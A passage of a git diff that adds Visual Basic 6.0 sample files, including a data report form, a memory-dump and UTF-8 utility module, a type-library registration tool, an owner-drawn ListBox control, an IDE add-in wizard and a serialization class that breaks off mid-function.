+         BeginProperty DataFormat {6D835690-900B-11D0-9484-00A0C91110ED} 
+            Type            =   0
+            Format          =   ""
+            HaveTrueFalseNull=   0
+            FirstDayOfWeek  =   0
+            FirstWeekOfYear =   0
+            LCID            =   16393
+            SubFormatType   =   0
+         EndProperty
+         DataMember      =   "Command1"
+      EndProperty
+      ItemType3       =   4
+      BeginProperty Item3 {1C13A8E2-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "txtDepartment"
+         Object.Left            =   3969
+         Object.Width           =   1440
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         DataField       =   "Department"
+         BeginProperty DataFormat {6D835690-900B-11D0-9484-00A0C91110ED} 
+            Type            =   0
+            Format          =   ""
+            HaveTrueFalseNull=   0
+            FirstDayOfWeek  =   0
+            FirstWeekOfYear =   0
+            LCID            =   16393
+            SubFormatType   =   0
+         EndProperty
+         DataMember      =   "Command1"
+      EndProperty
+      ItemType4       =   4
+      BeginProperty Item4 {1C13A8E2-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "txtYear"
+         Object.Left            =   5669
+         Object.Width           =   1440
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         DataField       =   "Year"
+         BeginProperty DataFormat {6D835690-900B-11D0-9484-00A0C91110ED} 
+            Type            =   0
+            Format          =   ""
+            HaveTrueFalseNull=   0
+            FirstDayOfWeek  =   0
+            FirstWeekOfYear =   0
+            LCID            =   16393
+            SubFormatType   =   0
+         EndProperty
+         DataMember      =   "Command1"
+      EndProperty
+      ItemType5       =   4
+      BeginProperty Item5 {1C13A8E2-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "txtAddress"
+         Object.Left            =   6803
+         Object.Width           =   1440
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         DataField       =   "Address"
+         BeginProperty DataFormat {6D835690-900B-11D0-9484-00A0C91110ED} 
+            Type            =   0
+            Format          =   ""
+            HaveTrueFalseNull=   0
+            FirstDayOfWeek  =   0
+            FirstWeekOfYear =   0
+            LCID            =   16393
+            SubFormatType   =   0
+         EndProperty
+         DataMember      =   "Command1"
+      EndProperty
+   EndProperty
+   SectionCode3    =   7
+   BeginProperty Section3 {1C13A8E0-A0B6-11D0-848E-00A0C90DC8A9} 
+      _Version        =   393216
+      Name            =   "Section3"
+      Object.Height          =   360
+      NumControls     =   0
+   EndProperty
+   SectionCode4    =   8
+   BeginProperty Section4 {1C13A8E0-A0B6-11D0-848E-00A0C90DC8A9} 
+      _Version        =   393216
+      Name            =   "Section5"
+      Object.Height          =   360
+      NumControls     =   0
+   EndProperty
+End
+Attribute VB_Name = "DataReport1"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = False
+Attribute VB_PredeclaredId = True
+Attribute VB_Exposed = False
diff --git a/samples/Visual Basic 6.0/Module1.bas b/samples/Visual Basic 6.0/Module1.bas
new file mode 100644
index 0000000000..a391625b59
--- /dev/null
+++ b/samples/Visual Basic 6.0/Module1.bas	
@@ -0,0 +1,111 @@
+Attribute VB_Name = "Module1"
+Option Explicit
+DefObj A-Z
+
+#Const ImplUseDebugLog = (USE_DEBUG_LOG <> 0)
+
+'--- for WideCharToMultiByte
+Private Const CP_UTF8                           As Long = 65001
+
+Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
+Private Declare Function IsBadReadPtr Lib "kernel32" (ByVal lp As Long, ByVal ucb As Long) As Long
+Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long
+Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long
+Private Declare Function QueryPerformanceCounter Lib "kernel32" (lpPerformanceCount As Currency) As Long
+Private Declare Function QueryPerformanceFrequency Lib "kernel32" (lpFrequency As Currency) As Long
+
+Public Function DesignDumpArray(baData() As Byte, Optional ByVal lPos As Long, Optional ByVal lSize As Long = -1) As String
+    If lSize < 0 Then
+        lSize = LenB(CStr(baData)) - lPos
+    End If
+    If lSize > 0 Then
+        DesignDumpArray = DesignDumpMemory(VarPtr(baData(lPos)), lSize)
+    End If
+End Function
+
+Public Function DesignDumpMemory(ByVal lPtr As Long, ByVal lSize As Long) As String
+    Dim lIdx            As Long
+    Dim sHex            As String
+    Dim sChar           As String
+    Dim lValue          As Long
+    Dim aResult()       As String
+    
+    ReDim aResult(0 To (lSize + 15) \ 16) As String
+'    Debug.Assert RedimStats("DesignDumpMemory.aResult", UBound(aResult) + 1)
+    For lIdx = 0 To ((lSize + 15) \ 16) * 16
+        If lIdx < lSize Then
+            If IsBadReadPtr(lPtr, 1) = 0 Then
+                Call CopyMemory(lValue, ByVal lPtr, 1)
+                sHex = sHex & Right$("0" & Hex$(lValue), 2) & " "
+                If lValue >= 32 Then
+                    sChar = sChar & Chr$(lValue)
+                Else
+                    sChar = sChar & "."
+                End If
+            Else
+                sHex = sHex & "?? "
+                sChar = sChar & "."
+            End If
+        Else
+            sHex = sHex & "   "
+        End If
+        If ((lIdx + 1) Mod 4) = 0 Then
+            sHex = sHex & " "
+        End If
+        If ((lIdx + 1) Mod 16) = 0 Then
+            aResult(lIdx \ 16) = Right$("000" & Hex$(lIdx - 15), 4) & " - " & sHex & sChar
+            sHex = vbNullString
+            sChar = vbNullString
+        End If
+        lPtr = (lPtr Xor &H80000000) + 1 Xor &H80000000
+    Next
+    DesignDumpMemory = Join(aResult, vbCrLf)
+End Function
+
+Public Function FromUtf8Array(baText() As Byte) As String
+    Dim lSize           As Long
+    
+    If UBound(baText) >= 0 Then
+        FromUtf8Array = String$(2 * UBound(baText), 0)
+        lSize = MultiByteToWideChar(CP_UTF8, 0, baText(0), UBound(baText) + 1, StrPtr(FromUtf8Array), Len(FromUtf8Array))
+        FromUtf8Array = Left$(FromUtf8Array, lSize)
+    End If
+End Function
+
+Public Function ToUtf8Array(sText As String) As Byte()
+    Dim baRetVal()      As Byte
+    Dim lSize           As Long
+    
+    lSize = WideCharToMultiByte(CP_UTF8, 0, StrPtr(sText), Len(sText), ByVal 0, 0, 0, 0)
+    If lSize > 0 Then
+        ReDim baRetVal(0 To lSize - 1) As Byte
+        Call WideCharToMultiByte(CP_UTF8, 0, StrPtr(sText), Len(sText), baRetVal(0), lSize, 0, 0)
+    Else
+        baRetVal = vbNullString
+    End If
+    ToUtf8Array = baRetVal
+End Function
+
+Public Property Get TimerEx() As Double
+    Dim cFreq           As Currency
+    Dim cValue          As Currency
+    
+    Call QueryPerformanceFrequency(cFreq)
+    Call QueryPerformanceCounter(cValue)
+    TimerEx = cValue / cFreq
+End Property
+
+Public Function At(vArray As Variant, ByVal lIdx As Long) As Variant
+    On Error GoTo QH
+    At = vArray(lIdx)
+QH:
+End Function
+
+#If ImplUseDebugLog Then
+Public Sub DebugLog(sModule As String, sFunction As String, sText As String, Optional ByVal eType As LogEventTypeConstants = vbLogEventTypeInformation)
+    Debug.Print Format$(TimerEx, "0.000") & " " & Switch( _
+        eType = vbLogEventTypeError, "[ERROR]", _
+        eType = vbLogEventTypeWarning, "[WARN]", _
+        True, "[INFO]") & " " & sText & " [" & sModule & "." & sFunction & "]"
+End Sub
+#End If
diff --git a/samples/Visual Basic 6.0/Module2.bas b/samples/Visual Basic 6.0/Module2.bas
new file mode 100644
index 0000000000..21bf43f95c
--- /dev/null
+++ b/samples/Visual Basic 6.0/Module2.bas	
@@ -0,0 +1,170 @@
+Attribute VB_Name = "modMain"
+'
+' Type library registration tool by Alex Dragokas
+'
+' v.1.1
+'
+
+Option Explicit
+
+Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As Long, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
+Private Declare Function GetStdHandle Lib "kernel32" (ByVal nStdHandle As Long) As Long
+Private Declare Sub ExitProcess Lib "kernel32" (ByVal uExitCode As Long)
+Private Declare Function OemToChar Lib "user32.dll" Alias "OemToCharA" (ByVal lpszScr As String, ByVal lpszDst As String) As Long
+Private Declare Function CharToOem Lib "user32.dll" Alias "CharToOemA" (ByVal lpszScr As String, ByVal lpszDst As String) As Long
+Private Declare Function LoadTypeLib Lib "OleAut32.dll" (ByVal szFile As Long, pptlib As ITypeLib) As Long
+Private Declare Function RegisterTypeLib Lib "OleAut32.dll" (ByVal ptlib As ITypeLib, ByVal szFullPath As Long, ByVal szHelpDir As Long) As Long
+Private Declare Function RegisterTypeLibForUser Lib "OleAut32.dll" (ByVal ptlib As ITypeLib, ByVal szFullPath As Long, ByVal szHelpDir As Long) As Long
+Private Declare Function GetFileAttributes Lib "kernel32.dll" Alias "GetFileAttributesW" (ByVal lpFileName As Long) As Long
+Private Declare Sub OaEnablePerUserTLibRegistration Lib "OleAut32.dll" ()
+
+Const STD_OUTPUT_HANDLE         As Long = -11&
+Const STD_ERROR_HANDLE          As Long = -12&
+Const INVALID_HANDLE_VALUE      As Long = &HFFFFFFFF
+Const FILE_ATTRIBUTE_DIRECTORY  As Long = &H10
+Const S_OK                      As Long = 0
+
+Public cOut As Long
+Public cErr As Long
+
+
+Private Sub Main()
+    On Error GoTo ErrorHandler
+    
+    Dim lret        As Long
+    Dim FileName    As String
+    Dim ExitCode    As Long
+    Dim hLib        As Long
+    Dim ITL         As ITypeLib
+    Dim argv()      As String
+    Dim argc        As Long
+    Dim i           As Long
+    Dim bUseAdmin   As Boolean
+    
+    cOut = GetStdHandle(STD_OUTPUT_HANDLE)
+    cErr = GetStdHandle(STD_ERROR_HANDLE)
+    ExitCode = 1
+    
+    WriteC ""
+    
+    If Len(Command()) = 0 Then Using: ExitProcess 1
+    
+    ParseCommandLine Command(), argc, argv
+    
+    For i = 1 To argc
+        Select Case UCase(argv(i))
+        
+            Case "/ADMIN"
+                bUseAdmin = True
+                ReLaunch
+                
+            Case Else
+                FileName = UnQuote(argv(i))
+        End Select
+    Next
+    
+    WriteC "FILE: " & FileName
+    
+    lret = GetFileAttributes(StrPtr(FileName))
+    
+    If lret <> INVALID_HANDLE_VALUE And (0 = (lret And FILE_ATTRIBUTE_DIRECTORY)) Then
+        
+        lret = LoadTypeLib(StrPtr(FileName), ITL)
+        
+        If lret = S_OK Then
+            
+            If bUseAdmin Then
+                lret = RegisterTypeLib(ITL, StrPtr(FileName), 0&)
+            Else
+                lret = RegisterTypeLibForUser(ITL, StrPtr(FileName), 0&) 'by default
+            End If
+            
+            If lret = S_OK Then
+                
+                ExitCode = 0
+            Else
+                WriteC TlibErr2Text(lret), cErr
+            End If
+        Else
+            WriteC TlibErr2Text(lret), cErr
+        End If
+    Else
+        WriteC "File is not found.", cErr
+    End If
+    
+    If 0 = ExitCode Then
+        WriteC "Success."
+    Else
+        If IsProcessElevated() And Not bUseAdmin Then
+            WriteC "", cErr
+            WriteC "WARNING: process launched with administrative privileges.", cErr
+            WriteC "It is not guarantied succesful registration in such mode.", cErr
+            WriteC "Please, use /admin key, or run this application as non-elevated.", cErr
+            WriteC "", cErr
+        End If
+        WriteC "Failed!", cErr
+    End If
+    
+    'MsgBox "ready"
+    ExitProcess ExitCode
+    Exit Sub
+ErrorHandler:
+    WriteC "Error #" & Err.Number & ". LastDll: 0x" & Hex(Err.LastDllError) & ". " & Err.Description, cErr
+    ExitProcess 1
+End Sub
+
+Private Function TlibErr2Text(lErr As Long)
+    Dim sMsg As String
+    If lErr = S_OK Then
+        TlibErr2Text = "Success."
+    Else
+        On Error Resume Next
+        Err.Raise lErr
+        TlibErr2Text = "Error: " & CStr(lErr) & " - " & Err.Description
+    End If
+End Function
+
+Public Sub WriteC(ByVal txt As String, Optional cHandle As Long)
+    Dim dwWritten As Long
+    Debug.Print txt
+    txt = txt & vbNewLine
+    Call CharToOem(txt, txt)
+    WriteFile IIf(cHandle = 0, cOut, cHandle), StrPtr(StrConv(txt, vbFromUnicode)), Len(txt), dwWritten, 0&
+End Sub
+
+Private Function UnQuote(sStr As String) As String
+    If Left$(sStr, 1) = """" And Right$(sStr, 1) = """" And Len(sStr) > 1 Then
+        UnQuote = Mid$(sStr, 2, Len(sStr) - 2)
+    Else
+        UnQuote = sStr
+    End If
+End Function
+
+Sub Using()
+    WriteC "Type library registration tool by Alex Dragokas"
+    WriteC ""
+    WriteC "Using:"
+    WriteC ""
+    WriteC "Regtlib.exe [Path\file.tlb] [/admin]"
+    WriteC ""
+    WriteC "/admin - [optional key], to register tlb under HKLM (system wide) hive."
+End Sub
+
+Sub ReLaunch()
+    Dim lExitCode As Long
+    If Not IsProcessElevated() Then
+    
+        lExitCode = RunAsAndWait(App.Path & "\" & App.EXEName, Command())
+        
+        '// TODO: how to return user defined exit code from ShellExecuteEx correctly? ( I don't know )
+        
+        If 0 = lExitCode Then
+            WriteC "Success."
+        Else
+            WriteC "Exit code: " & lExitCode, cErr
+            WriteC "Failed!", cErr
+        End If
+
+        ExitProcess lExitCode
+    End If
+End Sub
diff --git a/samples/Visual Basic 6.0/UIListBox.ctl b/samples/Visual Basic 6.0/UIListBox.ctl
new file mode 100644
index 0000000000..0c59b5feec
--- /dev/null
+++ b/samples/Visual Basic 6.0/UIListBox.ctl	
@@ -0,0 +1,227 @@
+VERSION 5.00
+Begin VB.UserControl UIListBox 
+   BackColor       =   &H80000005&
+   ClientHeight    =   2385
+   ClientLeft      =   0
+   ClientTop       =   0
+   ClientWidth     =   2460
+   ScaleHeight     =   2385
+   ScaleWidth      =   2460
+End
+Attribute VB_Name = "UIListBox"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = True
+Attribute VB_PredeclaredId = False
+Attribute VB_Exposed = False
+'The MIT License (MIT)
+'Copyright (c) 2012 Kelly Ethridge
+'
+'Permission is hereby granted, free of charge, to any person obtaining a copy
+'of this software and associated documentation files (the "Software"), to deal
+'in the Software without restriction, including without limitation the rights to
+'use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+'the Software, and to permit persons to whom the Software is furnished to do so,
+'subject to the following conditions:
+'
+'The above copyright notice and this permission notice shall be included in all
+'copies or substantial portions of the Software.
+'
+'THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+'INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+'PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
+'FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+'OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+'DEALINGS IN THE SOFTWARE.
+'
+'
+' Module: SComponent.UIListBox
+'
+Option Explicit
+Implements ISuperClass
+
+Private Const SIZEOF_MEASUREITEMSTRUCTURE   As Long = 24
+Private Const SIZEOF_DRAWITEMSTRUCTURE      As Long = 48
+
+
+Private mLBHwnd         As Long
+Private mSuper          As New SuperClass
+Private mWidest         As Long
+Private mFontHandle     As Long
+Private mMeasureItem()  As MEASUREITEMSTRUCT
+Private mMeasureItemSA  As SafeArray1d
+Private mDrawItem()     As DRAWITEMSTRUCT
+Private mDrawItemSA     As SafeArray1d
+
+
+
+Public Sub AddItem(ByVal Value As String)
+    Call SendMessage(mLBHwnd, LB_ADDSTRING, 0, ByVal Value)
+End Sub
+
+Public Property Get ListCount() As Long
+    ListCount = SendMessage(mLBHwnd, LB_GETCOUNT, 0, ByVal 0&)
+End Property
+
+Public Property Get Font() As Font
+    Set Font = UserControl.Font
+End Property
+
+Public Property Set Font(ByVal New_Font As Font)
+    Set UserControl.Font = New_Font
+    Call DeleteObject(mFontHandle)
+    mFontHandle = vbNullPtr
+    Call PropertyChanged("Font")
+End Property
+
+Public Sub Clear()
+    Call SendMessage(mLBHwnd, LB_RESETCONTENT, 0, ByVal 0&)
+End Sub
+
+
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+'   Private Methods
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+Private Function GetItem(ByVal Index As Long) As String
+    Dim Result As String
+    
+    Result = String$(SendMessage(mLBHwnd, LB_GETTEXTLEN, Index, ByVal 0&), 0)
+    Call SendMessage(mLBHwnd, LB_GETTEXT, Index, ByVal Result)
+    
+    GetItem = Result
+End Function
+
+Private Sub FillMeasureItem(ByRef Measurement As MEASUREITEMSTRUCT)
+    Dim Item As String
+    Item = GetItem(Measurement.itemID)
+
+    Measurement.itemHeight = UserControl.TextHeight(Item) \ Screen.TwipsPerPixelY
+    Measurement.itemWidth = UserControl.TextWidth(Item) \ Screen.TwipsPerPixelX
+    
+    If Measurement.itemWidth > mWidest Then
+        Call SendMessage(mLBHwnd, LB_SETHORIZONTALEXTENT, Measurement.itemWidth + 50, 0)
+        mWidest = Measurement.itemWidth
+    End If
+End Sub
+
+Private Sub DrawItem(ByRef Canvas As DRAWITEMSTRUCT)
+    Dim SystemBrushColor    As Long
+    Dim BackgroundColor     As Long
+    Dim TextColor           As Long
+    
+    InitFont Canvas
+    
+    If (Canvas.itemState And ODS_SELECTED) = ODS_SELECTED Then
+        SystemBrushColor = vbHighlight And &HF
+        BackgroundColor = vbHighlight And &HF
+        TextColor = vbHighlightText And &HF
+    Else
+        SystemBrushColor = vbWindowBackground And &HF
+        BackgroundColor = vbWindowBackground And &HF
+        TextColor = vbWindowText And &HF
+    End If
+    
+    FillRect Canvas.hdc, Canvas.rcItem, GetSysColorBrush(SystemBrushColor)
+    SetBkColor Canvas.hdc, GetSysColor(BackgroundColor)
+    SetTextColor Canvas.hdc, GetSysColor(TextColor)
+    
+    Dim OldFont As Long
+    Dim Item    As String
+    Item = Replace(GetItem(Canvas.itemID), "&", "&&")
+    OldFont = SelectObject(Canvas.hdc, mFontHandle)
+    DrawText Canvas.hdc, Item, Len(Item), Canvas.rcItem, DT_LEFT
+    SelectObject Canvas.hdc, OldFont
+End Sub
+
+Private Sub InitFont(ByRef Canvas As DRAWITEMSTRUCT)
+    If mFontHandle = vbNullPtr Then
+        Dim LF As LOGFONT
+        With UserControl.Font
+            LF.lfCharSet = .Charset
+            LF.lfHeight = -(.Size * GetDeviceCaps(Canvas.hdc, LOGPIXELSY) / 72)
+            LF.lfWeight = .Weight
+            LF.lfUnderline = .Underline
+            LF.lfFaceName = .Name & vbNullChar
+        End With
+        
+        mFontHandle = CreateFontIndirect(LF)
+    End If
+End Sub
+
+Private Sub InitArrays()
+    With mMeasureItemSA
+        .cbElements = SIZEOF_MEASUREITEMSTRUCTURE
+        .cDims = 1
+        .cElements = 1
+    End With
+    
+    With mDrawItemSA
+        .cbElements = SIZEOF_DRAWITEMSTRUCTURE
+        .cDims = 1
+        .cElements = 1
+    End With
+End Sub
+
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+'   ISuperClass Interface
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+Private Sub ISuperClass_After(lReturn As Long, ByVal hWnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
+    Select Case uMsg
+        Case WM_MEASUREITEM
+            Call SetSAPtr(mMeasureItem, VarPtr(mMeasureItemSA))
+            mMeasureItemSA.pvData = lParam
+            Call FillMeasureItem(mMeasureItem(0))
+            Call SetSAPtr(mMeasureItem, vbNullPtr)
+            lReturn = BOOL_TRUE
+
+        Case WM_DRAWITEM
+            Call SetSAPtr(mDrawItem, VarPtr(mDrawItemSA))
+            mDrawItemSA.pvData = lParam
+            Call DrawItem(mDrawItem(0))
+            Call SetSAPtr(mDrawItem, vbNullPtr)
+            lReturn = BOOL_TRUE
+            
+    End Select
+End Sub
+
+Private Sub ISuperClass_Before(lHandled As Long, lReturn As Long, ByVal hWnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
+End Sub
+
+
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+'   UserControl Events
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+Private Sub UserControl_Initialize()
+    mLBHwnd = CreateWindowEx(WS_EX_OVERLAPPEDWINDOW, "LISTBOX", vbNullString, LBS_OWNERDRAWVARIABLE Or LBS_HASSTRINGS Or WS_CHILD Or WS_VISIBLE Or WS_VSCROLL Or WS_HSCROLL, 0, 0, UserControl.Width \ Screen.TwipsPerPixelX, UserControl.Height \ Screen.TwipsPerPixelY, UserControl.hWnd, 0, 0, ByVal 0&)
+    
+    If mLBHwnd = vbNullPtr Then _
+        Call Err.Raise(ErrorCode.InvalidOperation, "UIListBox.Initialize", "Could not create listbox window.")
+    
+    Call InitArrays
+    Call mSuper.AddMsg(WM_MEASUREITEM)
+    Call mSuper.AddMsg(WM_DRAWITEM)
+    Call mSuper.Subclass(UserControl.hWnd, Me)
+End Sub
+
+Private Sub UserControl_Terminate()
+    Call mSuper.UnSubclass
+    Call DeleteObject(mFontHandle)
+    Call DestroyWindow(mLBHwnd)
+End Sub
+
+Private Sub UserControl_InitProperties()
+    Set UserControl.Font = Ambient.Font
+End Sub
+
+Private Sub UserControl_ReadProperties(PropBag As PropertyBag)
+    Set UserControl.Font = PropBag.ReadProperty("Font", Ambient.Font)
+End Sub
+
+Private Sub UserControl_Resize()
+    Call SetWindowPos(mLBHwnd, 0, 0, 0, UserControl.Width \ Screen.TwipsPerPixelX, UserControl.Height \ Screen.TwipsPerPixelY, 0)
+End Sub
+
+Private Sub UserControl_WriteProperties(PropBag As PropertyBag)
+    Call PropBag.WriteProperty("Font", UserControl.Font, Ambient.Font)
+End Sub
+
+
diff --git a/samples/Visual Basic 6.0/Wizard.Dsr b/samples/Visual Basic 6.0/Wizard.Dsr
new file mode 100644
index 0000000000..9d2310642c
--- /dev/null
+++ b/samples/Visual Basic 6.0/Wizard.Dsr	
@@ -0,0 +1,99 @@
+' *************************************************************
+'  
+'  Licensed to the Apache Software Foundation (ASF) under one
+'  or more contributor license agreements.  See the NOTICE file
+'  distributed with this work for additional information
+'  regarding copyright ownership.  The ASF licenses this file
+'  to you under the Apache License, Version 2.0 (the
+'  "License")' you may not use this file except in compliance
+'  with the License.  You may obtain a copy of the License at
+'  
+'    http://www.apache.org/licenses/LICENSE-2.0
+'  
+'  Unless required by applicable law or agreed to in writing,
+'  software distributed under the License is distributed on an
+'  "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+'  KIND, either express or implied.  See the License for the
+'  specific language governing permissions and limitations
+'  under the License.
+'  
+' *************************************************************
+VERSION 5.00
+Begin {AC0714F6-3D04-11D1-AE7D-00A0C90F26F4} Wizard 
+   ClientHeight    =   7470
+   ClientLeft      =   1740
+   ClientTop       =   1545
+   ClientWidth     =   6585
+   _ExtentX        =   11615
+   _ExtentY        =   13176
+   _Version        =   393216
+   DisplayName     =   "AnalysisWizard"
+   AppName         =   "Visual Basic"
+   AppVer          =   "Visual Basic 6.0"
+   LoadName        =   "Command Line / Startup"
+   LoadBehavior    =   5
+   RegLocation     =   "HKEY_CURRENT_USER\Software\Microsoft\Visual Basic\6.0"
+   CmdLineSupport  =   -1  'True
+End
+Attribute VB_Name = "Wizard"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = True
+Attribute VB_PredeclaredId = False
+Attribute VB_Exposed = False
+Option Explicit
+
+Dim mcbMenuCommandBar         As Office.CommandBarControl  'command bar object
+Public WithEvents MenuHandler As CommandBarEvents          'command bar event handler
+Attribute MenuHandler.VB_VarHelpID = -1
+Dim mfrmWizard As frmWizard
+Dim VBInstance As VBIDE.VBE
+
+
+'------------------------------------------------------
+'this method adds the Add-In to the VB menu
+'it is called by the VB addin manager
+'------------------------------------------------------
+Private Sub AddinInstance_OnConnection(ByVal application As Object, ByVal ConnectMode As AddInDesignerObjects.ext_ConnectMode, ByVal AddInInst As Object, custom() As Variant)
+   On Error GoTo error_handler
+   
+   Set VBInstance = application
+   
+   If ConnectMode = ext_cm_External Then
+       'Used by the wizard toolbar to start this wizard
+       LoadMe
+   Else
+       Set mcbMenuCommandBar = AddToAddInCommandBar(VBInstance, LoadResString(15), LoadResPicture(5000, 0))
+       'sink the event
+       Set Me.MenuHandler = VBInstance.Events.CommandBarEvents(mcbMenuCommandBar)
+   End If
+  
+   Exit Sub
+     
+error_handler:
+   MsgBox Err.Description
+End Sub
+
+'------------------------------------------------------
+'this method removes the Add-In from the VB menu
+'it is called by the VB addin manager
+'------------------------------------------------------
+Private Sub AddinInstance_OnDisconnection(ByVal RemoveMode As AddInDesignerObjects.ext_DisconnectMode, custom() As Variant)
+    'delete the command bar entry
+    mcbMenuCommandBar.Delete
+End Sub
+
+'this event fires when the menu is clicked in the IDE
+Private Sub MenuHandler_Click(ByVal CommandBarControl As Object, handled As Boolean, CancelDefault As Boolean)
+    LoadMe
+End Sub
+
+Private Sub LoadMe()
+    Set mfrmWizard = New frmWizard
+    'pass the vb instance to the wizard module
+    Set mfrmWizard.VBInst = VBInstance
+    'load and show the form
+    mfrmWizard.Show vbModal
+    Set mfrmWizard = Nothing
+End Sub
+
+
diff --git a/samples/Visual Basic/cApplication.cls b/samples/Visual Basic 6.0/cApplication.cls
similarity index 100%
rename from samples/Visual Basic/cApplication.cls
rename to samples/Visual Basic 6.0/cApplication.cls
diff --git a/samples/Visual Basic 6.0/clsDataPack.cls b/samples/Visual Basic 6.0/clsDataPack.cls
new file mode 100644
index 0000000000..03692868bf
--- /dev/null
+++ b/samples/Visual Basic 6.0/clsDataPack.cls	
@@ -0,0 +1,262 @@
+VERSION 1.0 CLASS
+BEGIN
+  MultiUse = -1  'True
+  Persistable = 0  'NotPersistable
+  DataBindingBehavior = 0  'vbNone
+  DataSourceBehavior  = 0  'vbNone
+  MTSTransactionMode  = 0  'NotAnMTSObject
+END
+Attribute VB_Name = "clsDataPack"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = True
+Attribute VB_PredeclaredId = False
+Attribute VB_Exposed = False
+'[clsDataPack.cls]
+
+'
+' DataPack class by Alex Dragokas
+'
+' ver. 1.1
+'
+' Purpose: to (de)serialize series of variant data into byte array / hexed string
+' (push / fetch order is the same, not a stack manner)
+'
+
+Option Explicit
+
+Private Const INIT_RECORDS_COUNT As Long = 30
+
+Private Type DATAPACK_RECORD
+    Size    As Long
+    Type    As VbVarType
+    Data()  As Byte
+End Type
+
+Private g_Cell()    As DATAPACK_RECORD
+Private g_Array()   As Byte
+Private g_iPos      As Long
+Private g_BytePos   As Long
+
+
+Private Sub Class_Initialize()
+    g_iPos = 0
+    ReDim g_Cell(INIT_RECORDS_COUNT - 1)
+End Sub
+
+Private Sub Class_Terminate()
+    Erase g_Array
+    Erase g_Cell
+End Sub
+
+Public Sub Push(vData As Variant)
+    On Error GoTo ErrorHandler:
+
+    Dim ptr As Long
+
+    g_iPos = g_iPos + 1
+    If UBound(g_Cell) < g_iPos Then ReDim Preserve g_Cell(UBound(g_Cell) * 2 + 1)
+    
+    With g_Cell(g_iPos - 1)
+    
+        .Type = VarType(vData)
+        ptr = VarDataPtr(vData)
+    
+        Select Case .Type
+        Case vbString: .Size = Len(vData) * 2
+        Case vbByte: .Size = 1
+        Case vbInteger: .Size = 2
+        Case vbBoolean: .Size = 2
+        Case vbLong: .Size = 4
+        Case vbCurrency: .Size = 8
+        Case vbSingle: .Size = 4
+        Case vbDouble: .Size = 8
+        Case vbDate: .Size = 8
+        Case Else
+            g_iPos = g_iPos - 1
+            Debug.Print "DataPack: Unknown type of data is pushed"
+            Err.Raise 5
+            Exit Sub
+        End Select
+
+        If .Size = 0 Then Exit Sub
+        ReDim .Data(.Size - 1)
+        memcpy .Data(0), ByVal ptr, .Size
+    End With
+
+    Exit Sub
+ErrorHandler:
+    ErrorMsg Err, "clsDataPack.Push", "Data: " & vData
+    If inIDE Then Stop: Resume Next
+End Sub
+
+Public Function Fetch() As Variant
+    On Error GoTo ErrorHandler:
+    
+    If 0 = AryItems(g_Array) Then
+        Debug.Print "DataPack: Array is not specified before deserialization"
+        Err.Raise 5
+        Exit Function
+    End If
+    
+    If g_BytePos > UBound(g_Array) Then
+        Debug.Print "DataPack: EOF during deserialization"
+        Err.Raise 5
+        Exit Function
+    End If
+    
+    Dim dr As DATAPACK_RECORD
+    Dim v As Variant
+    Dim ptr As Long
+    
+    memcpy dr, g_Array(g_BytePos), 6&                   'get header
+    
+    Select Case dr.Type
+        Case vbString: v = String$(dr.Size \ 2, 0&)
+        Case vbByte: v = CByte(0)
+        Case vbInteger: v = CInt(0)
+        Case vbBoolean: v = CBool(0)
+        Case vbLong: v = CLng(0)
